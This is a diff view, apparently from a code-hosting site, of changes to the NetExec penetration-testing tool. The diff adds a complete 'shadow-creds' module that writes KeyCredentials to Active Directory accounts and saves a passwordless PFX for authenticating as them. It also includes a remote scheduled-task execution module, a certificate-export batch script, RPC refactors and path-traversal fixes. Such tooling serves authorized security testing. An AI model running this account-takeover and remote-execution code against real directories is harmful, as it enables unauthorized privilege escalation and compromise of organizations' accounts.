if not exist "%BASE%.cer" exit /b 12
|
||||
|
||||
if "!HASH!"=="" (
|
||||
exit /b 1
|
||||
)
|
||||
rem Read the SHA1 thumbprint of the certificate we just enrolled, directly from its own file
|
||||
rem (locale- and encoding-independent), so repairstore/exportPFX/delstore can only ever touch
|
||||
rem that one certificate, never a pre-existing certificate in the user's store
|
||||
set "HASH="
|
||||
for /f "usebackq delims=" %%A in (`powershell -NoProfile -Command "(New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 '%BASE%.cer').Thumbprint"`) do set "HASH=%%A"
|
||||
if "!HASH!"=="" exit /b 13
|
||||
|
||||
certutil -user -addstore my "%BASE%.cer" > nul || exit /b 14
|
||||
certutil -user -repairstore my !HASH! > nul 2>&1
|
||||
certutil -user -exportPFX -p "" -f my !HASH! "%BASE%.pfx" NoChain,NoRoot > nul 2>&1
|
||||
certutil -user -delstore my !HASH! > nul 2>&1
|
||||
@@ -173,24 +173,15 @@ class NXCModule:
|
||||
self.logger.display("Connecting to the remote Service control endpoint")
|
||||
try:
|
||||
exec_method = TSCH_EXEC(
|
||||
connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
connection.smb_share_name,
|
||||
connection.username,
|
||||
connection.password,
|
||||
connection.domain,
|
||||
connection.kerberos,
|
||||
connection.aesKey,
|
||||
connection.host,
|
||||
connection.kdcHost,
|
||||
connection.hash,
|
||||
self.logger,
|
||||
connection.args.get_output_tries,
|
||||
connection.args.share,
|
||||
self.run_task_as,
|
||||
self.command_to_run,
|
||||
self.output_filename,
|
||||
self.task_name,
|
||||
self.output_file_location,
|
||||
connection=connection,
|
||||
logger=self.logger,
|
||||
tries=connection.args.get_output_tries,
|
||||
share=connection.args.share,
|
||||
run_task_as=self.run_task_as,
|
||||
run_cmd=self.command_to_run,
|
||||
output_filename=self.output_filename,
|
||||
task_name=self.task_name,
|
||||
output_file_location=self.output_file_location,
|
||||
)
|
||||
|
||||
if self.show_output is False:
|
||||
@@ -221,7 +212,7 @@ class NXCModule:
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error deleting {self.output_file_location}{self.binary_to_upload_name} on {self.share}: {e}")
|
||||
|
||||
if self.ca_name and self.template_name:
|
||||
if self.is_certreq:
|
||||
dump_path = path.join(NXC_PATH, "modules/schtask_as")
|
||||
if not path.isdir(dump_path):
|
||||
makedirs(dump_path)
|
||||
|
||||
@@ -1,9 +1,10 @@
|
||||
from impacket.dcerpc.v5 import samr, transport
|
||||
from impacket.dcerpc.v5 import samr
|
||||
from impacket.nt_errors import STATUS_MORE_ENTRIES
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from json import loads
|
||||
from traceback import format_exc as traceback_format_exc
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -46,24 +47,14 @@ class NXCModule:
|
||||
self.__nthash = context.hash[0]
|
||||
self.__lmhash = "00000000000000000000000000000000"
|
||||
|
||||
self.getSAMRResetInfo(context)
|
||||
|
||||
def getSAMRResetInfo(self, context):
|
||||
string_binding = f"ncacn_np:{self.__targetIp}[\\pipe\\samr]"
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpc_transport.set_dport(445)
|
||||
rpc_transport.setRemoteHost(self.__targetIp)
|
||||
|
||||
if hasattr(rpc_transport, "set_credentials"):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
|
||||
self.__nthash, self.__aesKey)
|
||||
rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
|
||||
self.getSAMRResetInfo(context, connection)
|
||||
|
||||
def getSAMRResetInfo(self, context, connection):
|
||||
dce = None
|
||||
server_handle = None
|
||||
domain_handle = None
|
||||
try:
|
||||
dce = rpc_transport.get_dce_rpc()
|
||||
dce.connect()
|
||||
dce.bind(samr.MSRPC_UUID_SAMR)
|
||||
dce = NXCRPCConnection(connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
|
||||
|
||||
# obtain server handle for samr connection
|
||||
resp = samr.hSamrConnect(dce)
|
||||
@@ -128,8 +119,11 @@ class NXCModule:
|
||||
context.log.debug(traceback_format_exc())
|
||||
|
||||
finally:
|
||||
if domain_handle is not None:
|
||||
samr.hSamrCloseHandle(dce, domain_handle)
|
||||
if server_handle is not None:
|
||||
samr.hSamrCloseHandle(dce, server_handle)
|
||||
try:
|
||||
if domain_handle is not None:
|
||||
samr.hSamrCloseHandle(dce, domain_handle)
|
||||
if server_handle is not None:
|
||||
samr.hSamrCloseHandle(dce, server_handle)
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error during SAMR cleanup: {e}")
|
||||
dce.disconnect()
|
||||
@@ -0,0 +1,249 @@
|
||||
import json
|
||||
from pathlib import Path
|
||||
|
||||
from cryptography.hazmat.primitives.serialization import NoEncryption
|
||||
from cryptography.hazmat.primitives.serialization.pkcs12 import serialize_key_and_certificates
|
||||
from dsinternals.common.cryptography.X509Certificate2 import X509Certificate2
|
||||
from dsinternals.common.data.DNWithBinary import DNWithBinary
|
||||
from dsinternals.common.data.hello.KeyCredential import KeyCredential
|
||||
from dsinternals.system.DateTime import DateTime
|
||||
from dsinternals.system.Guid import Guid
|
||||
from impacket.ldap.ldap import MODIFY_ADD, MODIFY_DELETE, MODIFY_REPLACE, LDAPSessionError
|
||||
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Made by @NeffIsBack
|
||||
Heavily inspired by the pyWhisker project by Shutdown:
|
||||
https://github.com/ShutdownRepo/pywhisker
|
||||
"""
|
||||
|
||||
name = "shadow-creds"
|
||||
description = "List, add, inspect, remove, clear, backup, or revert Shadow Credentials on a user or computer"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
TARGET sAMAccountName of the target user or computer (for example, TARGET=user or TARGET=DESKTOP-123456$)
|
||||
ACTION Action to perform: list, add, info, remove, clear, backup, or revert (default: list); clear removes all KeyCredentials
|
||||
DEVICE_ID KeyCredential device ID; required for info and remove
|
||||
JSONFILE JSON backup path; required for revert and optional for backup
|
||||
|
||||
Examples:
|
||||
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=list
|
||||
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=add
|
||||
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=info DEVICE_ID=<guid>
|
||||
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=remove DEVICE_ID=<guid>
|
||||
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=clear
|
||||
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=backup JSONFILE=shadow-creds.json
|
||||
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=revert JSONFILE=shadow-creds.json
|
||||
"""
|
||||
self.target = module_options.get("TARGET", "").strip()
|
||||
self.action = module_options.get("ACTION", "list").lower().strip()
|
||||
self.device_id = module_options.get("DEVICE_ID")
|
||||
self.jsonfile = module_options.get("JSONFILE")
|
||||
|
||||
if not self.target:
|
||||
context.log.fail("TARGET is required")
|
||||
return False
|
||||
if self.action not in {"list", "add", "info", "remove", "clear", "backup", "revert"}:
|
||||
context.log.fail("ACTION must be one of: list, add, info, remove, clear, backup, revert")
|
||||
return False
|
||||
if self.action in {"info", "remove"} and not self.device_id:
|
||||
context.log.fail(f"DEVICE_ID is required for ACTION={self.action}")
|
||||
return False
|
||||
if self.action == "revert" and not self.jsonfile:
|
||||
context.log.fail("JSONFILE is required for ACTION=revert")
|
||||
return False
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
resp = connection.search(
|
||||
searchFilter=f"(&(objectClass=user)(sAMAccountName={self.target}))",
|
||||
attributes=["distinguishedName", "sAMAccountName", "objectClass", "msDS-KeyCredentialLink"],
|
||||
)
|
||||
resp_parsed = parse_result_attributes(resp)
|
||||
if not resp_parsed:
|
||||
context.log.fail(f"Account '{self.target}' was not found")
|
||||
return
|
||||
|
||||
target_dn = resp_parsed[0]["distinguishedName"]
|
||||
raw_values = resp_parsed[0].get("msDS-KeyCredentialLink", [])
|
||||
raw_values = raw_values if isinstance(raw_values, list) else [raw_values]
|
||||
|
||||
if self.action == "list":
|
||||
self.list(self.parse_credentials(raw_values))
|
||||
elif self.action == "add":
|
||||
self.add(target_dn, "computer" in resp_parsed[0]["objectClass"])
|
||||
elif self.action == "info":
|
||||
self.info(self.parse_credentials(raw_values))
|
||||
elif self.action == "remove":
|
||||
self.remove(target_dn, self.parse_credentials(raw_values))
|
||||
elif self.action == "clear":
|
||||
self.clear(target_dn, raw_values)
|
||||
elif self.action == "backup":
|
||||
self.backup(raw_values)
|
||||
elif self.action == "revert":
|
||||
self.revert(target_dn)
|
||||
|
||||
def parse_credentials(self, raw_values):
|
||||
credentials = []
|
||||
for raw_value in raw_values:
|
||||
try:
|
||||
# AD stores each KeyCredential as a textual DN-Binary value.
|
||||
credentials.append(
|
||||
(
|
||||
raw_value,
|
||||
KeyCredential.fromDNWithBinary(DNWithBinary.fromRawDNWithBinary(raw_value.encode())),
|
||||
)
|
||||
)
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Could not parse an existing KeyCredential: {e}")
|
||||
return credentials
|
||||
|
||||
def get_credential(self, credentials):
|
||||
for raw_value, credential in credentials:
|
||||
if credential.DeviceId and credential.DeviceId.toFormatD().lower() == self.device_id.lower():
|
||||
return raw_value, credential
|
||||
self.context.log.fail(f"No KeyCredential with device ID {self.device_id} was found on {self.target}")
|
||||
return None
|
||||
|
||||
def list(self, credentials):
|
||||
if not credentials:
|
||||
self.context.log.display(f"No KeyCredentials found on {self.target}")
|
||||
return
|
||||
|
||||
self.context.log.success(f"Found {len(credentials)} KeyCredential(s) on {self.target}")
|
||||
for _, credential in credentials:
|
||||
self.context.log.highlight(f"Device ID: {credential.DeviceId.toFormatD().lower() if credential.DeviceId else '<missing>'} | Creation time: {credential.CreationTime}")
|
||||
|
||||
def add(self, target_dn, is_computer):
|
||||
try:
|
||||
certificate = X509Certificate2(subject=self.target, keySize=2048, notBefore=-(40 * 365), notAfter=40 * 365)
|
||||
credential = KeyCredential.fromX509Certificate2(
|
||||
certificate=certificate,
|
||||
deviceId=Guid(),
|
||||
owner=target_dn,
|
||||
currentTime=DateTime(),
|
||||
isComputerKey=is_computer,
|
||||
)
|
||||
device_id = credential.DeviceId.toFormatD().lower()
|
||||
ldap_value = credential.toDNWithBinary().toString()
|
||||
output_path = self.write_pfx(certificate, device_id)
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Failed to generate certificate and KeyCredential: {e}")
|
||||
return
|
||||
|
||||
try:
|
||||
# Add one value instead of replacing the complete multi-valued attribute.
|
||||
self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_ADD, [ldap_value])]})
|
||||
except LDAPSessionError as e:
|
||||
self.context.log.fail(f"Failed to add the KeyCredential: {e}")
|
||||
self.context.log.display(f"Generated PFX retained at {output_path}")
|
||||
return
|
||||
|
||||
self.context.log.success(f"Added KeyCredential with device ID {device_id} to {self.target}")
|
||||
self.context.log.highlight(f"PFX: {output_path}")
|
||||
|
||||
def write_pfx(self, certificate, device_id):
|
||||
output_dir = Path(NXC_PATH) / "modules" / "shadow-creds"
|
||||
output_dir.mkdir(parents=True, exist_ok=True)
|
||||
output_path = output_dir / f"{self.target.rstrip('$')}_{device_id}.pfx"
|
||||
|
||||
output_path.write_bytes(
|
||||
serialize_key_and_certificates(
|
||||
name=self.target.encode("utf-8"),
|
||||
key=certificate.key.to_cryptography_key(),
|
||||
cert=certificate.certificate.to_cryptography(),
|
||||
cas=None,
|
||||
encryption_algorithm=NoEncryption(),
|
||||
)
|
||||
)
|
||||
return output_path
|
||||
|
||||
def info(self, credentials):
|
||||
result = self.get_credential(credentials)
|
||||
if result is None:
|
||||
return
|
||||
|
||||
_, credential = result
|
||||
self.context.log.success(f"KeyCredential {self.device_id} on {self.target}")
|
||||
for name, value in {
|
||||
"Owner": credential.Owner,
|
||||
"Device ID": credential.DeviceId.toFormatD().lower(),
|
||||
"Version": hex(credential.Version.value),
|
||||
"Key ID": credential.Identifier,
|
||||
"Key hash": credential.KeyHash.hex(),
|
||||
"Key size": getattr(credential.RawKeyMaterial, "keySize", "unknown"),
|
||||
" Exponent (E)": credential.RawKeyMaterial.exponent,
|
||||
" Modulus (N)": hex(credential.RawKeyMaterial.modulus),
|
||||
" Prime 1 (P)": hex(credential.RawKeyMaterial.prime1),
|
||||
" Prime 2 (Q)": hex(credential.RawKeyMaterial.prime2),
|
||||
"Usage": credential.Usage,
|
||||
"Legacy usage": credential.LegacyUsage,
|
||||
"Source": credential.Source,
|
||||
"Custom key info": credential.CustomKeyInfo,
|
||||
**{f" {key}": custom_value for key, custom_value in credential.CustomKeyInfo.items()},
|
||||
"Last logon time": credential.LastLogonTime,
|
||||
"Creation time": credential.CreationTime,
|
||||
}.items():
|
||||
self.context.log.highlight(f"{name:<17} {value}")
|
||||
|
||||
def remove(self, target_dn, credentials):
|
||||
result = self.get_credential(credentials)
|
||||
if result is None:
|
||||
return
|
||||
|
||||
raw_value, _ = result
|
||||
try:
|
||||
# Delete the exact raw value so neighboring credentials remain untouched.
|
||||
self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_DELETE, [raw_value])]})
|
||||
except LDAPSessionError as e:
|
||||
self.context.log.fail(f"Failed to remove the KeyCredential: {e}")
|
||||
return
|
||||
|
||||
self.context.log.success(f"Removed KeyCredential {self.device_id} from {self.target}")
|
||||
|
||||
def clear(self, target_dn, raw_values):
|
||||
if not raw_values:
|
||||
self.context.log.display(f"No KeyCredentials found on {self.target}")
|
||||
return
|
||||
|
||||
try:
|
||||
self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_DELETE, [])]})
|
||||
except LDAPSessionError as e:
|
||||
self.context.log.fail(f"Failed to clear KeyCredentials: {e}")
|
||||
return
|
||||
|
||||
self.context.log.success(f"Cleared all KeyCredentials from {self.target}")
|
||||
|
||||
def backup(self, raw_values):
|
||||
output_path = Path(self.jsonfile) if self.jsonfile else Path(NXC_PATH) / "modules" / "shadow-creds" / f"{self.target.rstrip('$')}.json"
|
||||
output_path.parent.mkdir(parents=True, exist_ok=True)
|
||||
output_path.write_text(json.dumps({"keyCredentials": raw_values}, indent=4), encoding="utf-8")
|
||||
self.context.log.success(f"Backed up {len(raw_values)} KeyCredential(s) from {self.target} to {output_path}")
|
||||
|
||||
def revert(self, target_dn):
|
||||
try:
|
||||
key_credentials = []
|
||||
for key_credential in json.loads(Path(self.jsonfile).read_text(encoding="utf-8"))["keyCredentials"]:
|
||||
if not isinstance(key_credential, (dict, str)):
|
||||
raise ValueError("keyCredentials entries must be objects or strings")
|
||||
key_credentials.append(KeyCredential.fromDict(key_credential).toDNWithBinary().toString() if isinstance(key_credential, dict) else key_credential)
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Failed to read Shadow Credentials backup: {e}")
|
||||
return
|
||||
|
||||
try:
|
||||
self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_REPLACE, key_credentials)]})
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Failed to revert Shadow Credentials: {e}")
|
||||
return
|
||||
self.context.log.success(f"Reverted {self.target} to {len(key_credentials)} backed-up KeyCredential(s)")
|
||||
@@ -1,8 +1,9 @@
|
||||
import ntpath
|
||||
import os
|
||||
from os.path import join, getsize, exists
|
||||
from pathlib import PurePosixPath
|
||||
from pathlib import Path
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
@@ -85,11 +86,10 @@ class NXCModule:
|
||||
continue
|
||||
|
||||
remote_file_path = ntpath.join(screenshot_path, remote_file_name)
|
||||
# replace \\ with underscores and ignore absolute path or path traversal attempts
|
||||
clean_screenshot_path = "_".join(p for p in PurePosixPath(screenshot_path.replace("\\", "/")).parts if p not in ("..", ".", "/"))
|
||||
clean_file = "_".join(p for p in PurePosixPath(remote_file_name.replace("\\", "/")).parts if p not in ("..", ".", "/"))
|
||||
|
||||
local_file_path = join(user_output_dir, f"{clean_screenshot_path}_{clean_file}")
|
||||
local_file_path = Path(user_output_dir, sanitize_path_component(f"{screenshot_path}_{remote_file_name}")).resolve()
|
||||
if Path(user_output_dir).resolve() not in local_file_path.parents:
|
||||
context.log.fail(f"Path traversal detected in {remote_file_path!r}, skipping")
|
||||
continue
|
||||
context.log.debug(f"{local_file_path=}")
|
||||
|
||||
try:
|
||||
|
||||
+22
-15
@@ -2,9 +2,10 @@ import json
|
||||
import errno
|
||||
from os.path import abspath, join, exists, splitext, getsize
|
||||
from os import makedirs, remove, stat
|
||||
from pathlib import Path, PurePosixPath
|
||||
from pathlib import Path
|
||||
import time
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.protocols.smb.remotefile import RemoteFile
|
||||
from impacket.smb3structs import FILE_READ_DATA
|
||||
@@ -125,6 +126,10 @@ class SMBSpiderPlus:
|
||||
self.logger.debug(f'Cannot list files in folder "{subfolder}".')
|
||||
elif "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
|
||||
self.logger.debug(f"The folder {subfolder} does not exist.")
|
||||
elif "STATUS_STOPPED_ON_SYMLINK" in str(e):
|
||||
self.logger.debug(f"The folder {subfolder} is a symlink that cannot be followed. Skipping.")
|
||||
elif "STATUS_NO_SUCH_FILE" in str(e):
|
||||
self.logger.debug(f"The folder {subfolder} is empty.")
|
||||
elif self.reconnect():
|
||||
filelist = self.list_path(share, subfolder)
|
||||
except NetBIOSTimeout as e:
|
||||
@@ -168,13 +173,13 @@ class SMBSpiderPlus:
|
||||
def get_file_save_path(self, remote_file):
|
||||
r"""Processes the remote file path to extract the filename and the folder path where the file should be saved locally.
|
||||
|
||||
Creates a PurePosixPath and replaces UNC parts, then cleans it of any path traversal (see issue #1120)
|
||||
Sanitizes each local path component and verifies containment in the output folder.
|
||||
"""
|
||||
self.logger.debug(f"Remote file: {remote_file}")
|
||||
raw_path = PurePosixPath(remote_file._RemoteFile__share, remote_file._RemoteFile__fileName.replace("\\", "/"))
|
||||
self.logger.debug(f"Raw path: {remote_file}")
|
||||
clean_parts = [p for p in raw_path.parts if p not in ("..", ".")]
|
||||
resolved = Path(self.output_folder).joinpath(self.host, *clean_parts)
|
||||
clean_parts = [sanitize_path_component(part) for part in remote_file._RemoteFile__fileName.replace("\\", "/").split("/") if part]
|
||||
resolved = Path(self.output_folder).joinpath(sanitize_path_component(self.host), sanitize_path_component(remote_file._RemoteFile__share), *clean_parts).resolve()
|
||||
if Path(self.output_folder).resolve() not in resolved.parents:
|
||||
raise ValueError(f"Path traversal detected in {remote_file!s}")
|
||||
self.logger.debug(f"Resolved path: {resolved}")
|
||||
return str(resolved.parent), resolved.name
|
||||
|
||||
@@ -304,7 +309,12 @@ class SMBSpiderPlus:
|
||||
return
|
||||
|
||||
# Check if the file is already downloaded and up-to-date.
|
||||
file_dir, file_name = self.get_file_save_path(remote_file)
|
||||
try:
|
||||
file_dir, file_name = self.get_file_save_path(remote_file)
|
||||
except ValueError as e:
|
||||
self.logger.fail(str(e))
|
||||
self.stats["num_get_fail"] += 1
|
||||
return
|
||||
download_path = join(file_dir, file_name)
|
||||
needs_update_flag = False
|
||||
if exists(download_path):
|
||||
@@ -320,12 +330,12 @@ class SMBSpiderPlus:
|
||||
try:
|
||||
self.logger.info(f'Downloading file "{file_path}" => "{download_path}".')
|
||||
remote_file.open_file()
|
||||
self.save_file(remote_file, share_name)
|
||||
self.save_file(remote_file, share_name, download_path)
|
||||
remote_file.close()
|
||||
download_success = True
|
||||
except SessionError as e:
|
||||
if "STATUS_SHARING_VIOLATION" in str(e):
|
||||
pass
|
||||
self.logger.debug(f"Sharing violation while downloading file: {file_path}")
|
||||
except Exception as e:
|
||||
self.logger.fail(f'Failed to download file "{file_path}". Error: {e!s}')
|
||||
|
||||
@@ -337,7 +347,7 @@ class SMBSpiderPlus:
|
||||
else:
|
||||
self.stats["num_get_fail"] += 1
|
||||
|
||||
def save_file(self, remote_file, share_name):
|
||||
def save_file(self, remote_file, share_name, download_path):
|
||||
"""Reads the `remote_file` in chunks using the `read_chunk` method.
|
||||
|
||||
Each chunk is then written to the local file until the entire file is saved.
|
||||
@@ -346,12 +356,9 @@ class SMBSpiderPlus:
|
||||
# Reset the remote_file to point to the beginning of the file.
|
||||
remote_file.seek(0, 0)
|
||||
|
||||
folder, filename = self.get_file_save_path(remote_file)
|
||||
download_path = join(folder, filename)
|
||||
|
||||
# Create the subdirectories based on the share name and file path.
|
||||
self.logger.debug(f"Creating folder '{folder}'")
|
||||
make_dirs(folder)
|
||||
self.logger.debug(f"Creating folder '{Path(download_path).parent}'")
|
||||
make_dirs(Path(download_path).parent)
|
||||
|
||||
try:
|
||||
with open(download_path, "wb") as fd:
|
||||
|
||||
+14
-28
@@ -1,6 +1,6 @@
|
||||
# https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/rpcdump.py
|
||||
from impacket import uuid
|
||||
from impacket.dcerpc.v5 import transport, epm
|
||||
from impacket.dcerpc.v5 import epm
|
||||
from impacket.dcerpc.v5.rpch import (
|
||||
RPC_PROXY_INVALID_RPC_PORT_ERR,
|
||||
RPC_PROXY_CONN_A1_0X6BA_ERR,
|
||||
@@ -9,11 +9,7 @@ from impacket.dcerpc.v5.rpch import (
|
||||
)
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
KNOWN_PROTOCOLS = {
|
||||
135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
|
||||
445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
|
||||
}
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -41,21 +37,20 @@ class NXCModule:
|
||||
|
||||
def on_login(self, context, connection):
|
||||
entries = []
|
||||
lmhash = getattr(connection, "lmhash", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
self.__stringbinding = KNOWN_PROTOCOLS[self.port]["bindstr"] % connection.host
|
||||
context.log.debug(f"StringBinding {self.__stringbinding}")
|
||||
rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
|
||||
rpctransport.set_credentials(connection.username, connection.password, connection.domain, lmhash, nthash)
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
rpctransport.set_dport(self.port)
|
||||
|
||||
if connection.kerberos:
|
||||
rpctransport.set_kerberos(connection.kerberos, connection.kdcHost)
|
||||
|
||||
use_tcp = self.port == 135
|
||||
try:
|
||||
entries = self.__fetch_list(connection.kerberos, rpctransport)
|
||||
rpc = NXCRPCConnection(connection, force_tcp=use_tcp)
|
||||
if use_tcp:
|
||||
rpc.rpc_transport = rpc.create_tcp_transport(target_ip=connection.host)
|
||||
else:
|
||||
rpc.rpc_transport = rpc.create_smb_transport(r"\epmapper")
|
||||
dce = rpc.rpc_transport.get_dce_rpc()
|
||||
if connection.kerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
dce.connect()
|
||||
entries = list(epm.hept_lookup(None, dce=dce))
|
||||
dce.disconnect()
|
||||
except Exception as e:
|
||||
error_text = f"Protocol failed: {e}"
|
||||
context.log.critical(error_text)
|
||||
@@ -112,12 +107,3 @@ class NXCModule:
|
||||
context.log.debug(f"[Spooler] Received {num} endpoints")
|
||||
else:
|
||||
context.log.debug("[Spooler] No endpoints found")
|
||||
|
||||
def __fetch_list(self, doKerberos, rpctransport):
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
if doKerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
dce.connect()
|
||||
resp = epm.hept_lookup(None, dce=dce)
|
||||
dce.disconnect()
|
||||
return resp
|
||||
Loaded 100 of 172 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user